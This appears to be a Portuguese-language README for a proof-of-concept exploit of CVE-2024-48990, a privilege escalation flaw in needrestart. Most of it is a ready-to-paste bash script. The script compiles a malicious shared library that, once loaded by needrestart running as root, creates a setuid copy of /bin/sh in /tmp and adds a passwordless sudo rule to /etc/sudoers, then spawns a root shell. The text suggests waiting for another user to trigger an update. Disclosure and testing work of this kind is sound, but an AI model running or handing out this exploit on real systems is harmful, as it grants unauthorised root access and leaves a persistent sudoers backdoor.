
Testing POC for use cases
Este repositório contém uma Prova de Conceito (PoC) para demonstrar uma vulnerabilidade no programa needrestart, que não define corretamente o caminho do Python, levando a uma potencial escalada de privilégios. A PoC destaca um possível caminho para obter privilégios elevados explorando essa falha.
A vulnerabilidade CVE-2024-48990 reside no pacote needrestart. Especificamente, ele não define corretamente o caminho do Python, o que pode ser explorado para escalar privilégios quando acionado por certas ações.
Esta PoC simula um cenário onde uma biblioteca compartilhada maliciosa é carregada via Python para manipular configurações do sistema e obter privilégios elevados. Utilize-a apenas em um ambiente controlado e seguro para fins de teste.
Para verificar se você está vulnerável, execute:
needrestart --version | grep -q "3.7" && echo "Definitely vulnerable" || echo "Version is potentially not vulnerable, this simply checks for 3.7"
Se quiser uma versão vulnerável para testar, execute:
sudo apt install needrestart=3.7-3
Para acionar a vulnerabilidade, execute o seguinte enquanto o script de escuta estiver em execução:
sudo apt remove ntp; sudo apt install ntp
Este comando instala um pacote (ntp neste caso) que faz com que o problema com needrestart seja acionado; no entanto, o ideal é esperar que outro usuário no sistema execute uma atualização ou algo que acione o needrestart, como sudo apt update.
Execute o seguinte script para configurar a PoC e acionar a vulnerabilidade. Você pode copiá-lo e colá-lo diretamente (o script inteiro como está) no terminal e esperar, ou acioná-lo manualmente como mostrado acima com o ntp. Ele também adiciona o binário ao caminho do sudo para todos os usuários para fins de demonstração – realisticamente, você pode apenas fazer com que ele adicione todos os caminhos do sudo para o seu usuário, mas quis mostrar ambos:
#!/bin/bash
set -e
cd /tmp
mkdir -p malicious/importlib
# Create and compile the malicious library
cat << 'EOF' > /tmp/malicious/lib.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
static void a() __attribute__((constructor));
void a() {
if(geteuid() == 0) { // Only execute if we're running with root privileges
setuid(0);
setgid(0);
const char *shell = "cp /bin/sh /tmp/poc; "
"chmod u+s /tmp/poc; "
"grep -qxF 'ALL ALL=NOPASSWD: /tmp/poc' /etc/sudoers || "
"echo 'ALL ALL=NOPASSWD: /tmp/poc' | tee -a /etc/sudoers > /dev/null &";
system(shell);
}
}
EOF
gcc -shared -fPIC -o "/tmp/malicious/importlib/__init__.so" /tmp/malicious/lib.c
# Minimal Python script to trigger import
cat << 'EOF' > /tmp/malicious/e.py
import time
while True:
try:
import importlib
except:
pass
if __import__("os").path.exists("/tmp/poc"):
print("Got shell!, delete traces in /tmp/poc, /tmp/malicious")
__import__("os").system("sudo /tmp/poc -p")
break
time.sleep(1)
EOF
cd /tmp/malicious; clear;echo -e "\n\nWaiting for norestart execution...\nEnsure you remove yourself from sudoers on the poc file after\nsudo sed -i '/ALL ALL=NOPASSWD: \/tmp\/poc/d' /etc/sudoers\nAs well as remove excess files created:\nrm -rf malicious/ poc"; PYTHONPATH="$PWD" python3 e.py 2>/dev/null
Se quiser limpar os arquivos de teste e remover-se do sudoers, execute o seguinte a partir de um prompt elevado:
sudo sed -i '/ALL ALL=NOPASSWD: \/tmp\/poc/d' /etc/sudoers
rm -rf malicious/ poc; ls
needrestart instalado (ou removido e reinstalado para acionar)Esta PoC é apenas para fins de teste e não deve ser usada em ambiente de produção. Explorar esta vulnerabilidade em ambientes não autorizados pode ser ilegal. Sempre obtenha permissão explícita antes de realizar qualquer teste de segurança.
Bons testes! 🧪🚀